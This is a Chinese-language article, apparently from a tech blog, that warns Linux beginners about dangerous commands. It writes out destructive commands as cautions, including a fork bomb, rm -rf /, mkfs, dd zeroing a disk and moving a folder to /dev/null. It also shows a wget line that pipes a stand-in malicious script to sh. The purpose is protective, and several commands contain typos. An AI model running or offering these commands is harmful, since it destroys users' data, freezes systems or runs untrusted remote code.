在一些情况下,Linux 甚至不会询问你而直接执行命令,导致你丢失各种数据信息。
一般来说在 Web 上推荐新的 Linux 用户执行这些命令,当然,也有人哪些写过这代码的人不这么想,因为这玩意你一写下去就不是玩笑了。
这里我收集了一些对系统有危害的 Linux 代码,帮助你避免他们。请记住:这些代码非常危险,甚至可以经过修改,变得更加有危害性。
还有一些事情需要注意:一些命令只在 Ubuntu 中有 sudo 前缀时是有危害的。其他发行版本的 Linux,则是在作为根目录命令时会有危害。
1. Linux Fork Bomb Command
:(){ :: & };: 以 Fork Bomb 闻名,是一个拒绝服务攻击的 Linux 系统。:(){ :: & };: 是一个 bash 函数。只要被执行,他会不断重复,直到系统被冻结。
你只能重启系统解决这个问题。所以当你在 Linux 界面执行这个命令时一定要注意。
2. Mv Folder/Dev/Null Command
mv folder/dev/null 也是一个危险的命令。Dev/null 或者 null device 是一个删除所有写在这个设备文件上数据的设备文件,但是,该操作提示却是写入操作执行成功。这就是我们常说的 bit bucked 或者 black hole。
3. Rm -Rf Command
rm -rf命令在 Linux 系统中可以快速删除文件夹及其内容。如果,你不知道如何正确使用它,你就只有哭了。
列下m-rf 命令最常见的组合和选择:
-
rm command :删除 Linux 系统的文件
-
rm -f command:不需提示,删除文件中的只读文件
-
rm -r command 循环删除文件夹的内容
-
rm -d command :删除空目录,如果非空目录则不会执行该操作
-
rm -rf/ command:强制删除根目录中的所有内容和子文件夹(包括写保护文件)命令。
-
rm -rf* command :强制删除当前目录中的所有内容(当前工作目录)和字文件夹
-
rm -rf. command:强制删除当前文件夹目录/子目录中的所有内容 。同 rm -r.[^.]*
The rm -r.[^.]* command :删除文件及文件夹,带有删除提示
4. Mkfs Command
如果你不知 mkfs 的作用,那么它也是一个危险的命令,mkfs 之后写的任何命令都将会被一个空白的 linux 文件系统格式化、替代。
下面列举出需要管理员权限,格式化硬盘的命令:
-
mkfs
-
mkfs.ext3
-
mkfs.bfs
-
mkfs.ext2
-
mkfs.minix
-
mkfs.msdos mkfs.reiserfs
-
mkfs.vfat
mkfs.cramfs 也可以和上面的代码做同样的事情,不过不需要管理源权限。
5. Tar Bomb
tar 命令用于将多个文件以 .tar 格式放入一个文件中(存档文件)。Tape Archive (Tar) bomb 可以由他创建。
当为压缩时,就是这个存档文件生成数以万计的相似名称文件出现在当前目录中而不是新目录。
当收到 tar 文件,定期创建一个新的保护目录,然后在解压前将接受的 tar 文件放到这个目录中,你可以避免成为 tar bomb 的受害者。
6. Dd Command
Dd命令用于复制&改变硬盘分区。如果,你用错地方了,那么也很危险。
下面列举 dd 命令:
-
dd if=/dev/hda of=/dev/hdb
-
dd if=/dev/hda of=/dev/sdb
-
dd if=something of=/dev/hda
-
dd if=something of=/dev/sda
下面这个命令会将整个主硬盘清零:dd if=/dev/zero of=/dev/had
7. Shell Script Code
有时候,你可能会被人坑,给你一个 shell 脚本文件,让你去下载并执行它。该脚本可能会包含一些恶意的或危险的代码。命令形式可能会是这样:wget http://some_malicious_source -O- sh。 wget 将会在 sh 狭隘脚本时下载脚本。
8. Malicious Source Code
也许有人会给你源代码让你编译他。代码可能是正常代码,不过,有一些恶意代码伪装在大型源代码中,如果是这样,你的系统就中枪了。如何避免?仅接受并编译可信赖来源的源代码。
9. Decompression Bomb
你已经收到一个压缩文件,你被要求提取这个看起来很小的文件,可能小到 KB。事实上,该小尺寸的压缩文件包含高度压缩数据。
只要文件解压,上百 GB 数据会被提取,这时候,过大的数据填满硬盘导致宕机,几率就很大了。如何避免?还是那句老话,别手贱,什么文件都去接收,请接收可信任来源文件。
相关推荐
本资源"Linux命令大全 chm"提供了一个全面的Linux命令参考,旨在帮助用户更好地理解和使用各种Linux命令。 `atu`是一个不常见的标签,可能是输入错误或者是指代某个特定的工具或用途。不过,根据提供的信息,我们...
本资源"Linux命令大全"包含了516个Linux命令的详细资料,对于学习和理解Linux操作系统至关重要。下面,我们将深入探讨这个资源中涉及的一些关键知识点。 1. **命令手册**: - 在Linux世界中,命令手册(man pages...
这个命令主要用于分区格式化,如果不小心在非空磁盘上执行,将导致数据被完全擦除。 5. :(){ :|:& };: 这是一个所谓的“fork bomb”命令,它会创建一个无限递归的子进程,使系统资源迅速耗尽,导致系统响应迟缓甚至...
这个“Linux命令大全”CHM文件包含了大量的Linux命令详解,帮助用户了解每个命令的用法、参数以及示例,极大地提高了学习和工作效率。 Linux命令是Linux操作系统的基石,它们允许用户与系统进行交互,执行各种任务...
Linux命令大全是Linux系统操作和管理的基础,尤其对初学者来说,掌握这些命令至关重要。Linux是一种自由、开源的操作系统,其强大的命令行界面提供了一种高效、灵活的交互方式。以下是一些重要的Linux命令及其详细...
本资源“Linux命令全集”提供了一个全面的指南,帮助用户深入理解并熟练运用Linux命令。 1. **ls**:列出目录内容,是最基本的命令之一。通过`ls -l`可以查看详细信息,`ls -a`显示包括隐藏文件在内的所有文件。 2...
"Linux常用命令全集.zip"这个压缩包很可能包含了全面的Linux命令参考资料,特别是以.CHM(Microsoft帮助文件)格式的文档,这通常是一个方便的离线手册,用户可以从中查询各种Linux命令的用法和示例。 Linux命令是...
本文将围绕标题“远程Linux命令工具”展开,主要关注如何使用Putty这个流行的远程连接工具,以及通过它来执行Linux命令,实现远程管理。 首先,Putty是一款轻量级且免费的SSH客户端,它支持多种网络协议,如SSH、...
如果你不小心启动了一个持续运行的程序,可以使用【Ctrl】+c来强制退出。 3. **【Ctrl】+d**:这个组合键表示键盘输入结束,通常用来关闭当前终端或结束交互式命令的输入。与【Ctrl】+c不同,【Ctrl】+d会直接关闭...
手册中包括了“Linux必学的80个命令”,“linux命令.EXE”(可能是一个Windows下的Linux命令解释程序),以及两个版本的PDF手册——“linux命令大全专业版”和“Linux命令速查手册”。 以下是基于这些资源的一些...
在IT领域,Unix和Linux操作系统是两种广泛使用的开源操作系统,尤其在服务器端和开发者社区中。...通过阅读《Unix和Linux命令参考.pdf》这样的资源,你可以更深入地学习这些命令的使用和组合,提高你的系统操作能力。
本文将详细解析十个最危险的Linux命令,提醒用户谨慎使用,避免造成不可挽回的损失。 1. `rm -rf` 命令:`rm` 是删除文件的命令,`-r` 用于递归删除目录,`-f` 表示强制执行,忽略任何提示。误用此命令,如`rm -rf ...
6. **rm**:删除文件或目录,小心使用,因为它不可逆。 7. **cp**:复制文件或目录,可以进行文件备份或移动。 8. **mv**:移动或重命名文件或目录,实现文件位置的更改或改名。 9. **cat**:查看文件内容,通常用于...
"Linux命令速查手册"是一个非常实用的工具,帮助用户快速查找并理解各种Linux命令,从而更高效地工作。手册通常包含了大量的常用命令、参数及其用法,是学习和掌握Linux操作的关键资源。 Linux命令是通过终端执行的...
"Linux命令大全(修改版)"这个压缩包文件显然是一份包含了大量Linux命令及其用法的资源,对于学习和日常使用Linux系统非常有帮助。下面我们将详细探讨一些常见的Linux命令。 1. **ls**:列出目录内容。这个基本命令...
### Linux命令简介 #### 使用`man`命令获取帮助 在Linux环境中,`man`命令是一个极其重要的工具,用于查阅各种命令的手册页。手册页包含了命令的详细使用方法、选项参数说明以及示例等信息。手册页按照不同的部分...
掌握Linux命令行是有效使用Linux的关键,而《Linux系统命令大全》正是这样一本宝贵的资源,它包含了丰富的Linux命令知识,帮助用户深入理解和熟练运用Linux。 本PDF版的《Linux系统命令大全》涵盖了Linux系统中的...
这篇博客文章链接()可能提供了一个详细的Linux命令集合,尽管描述中没有给出具体信息,但我们可以从标题中推测其内容。 1. **基础命令** - `ls`:列出目录内容。 - `cd`:切换当前工作目录。 - `pwd`:显示...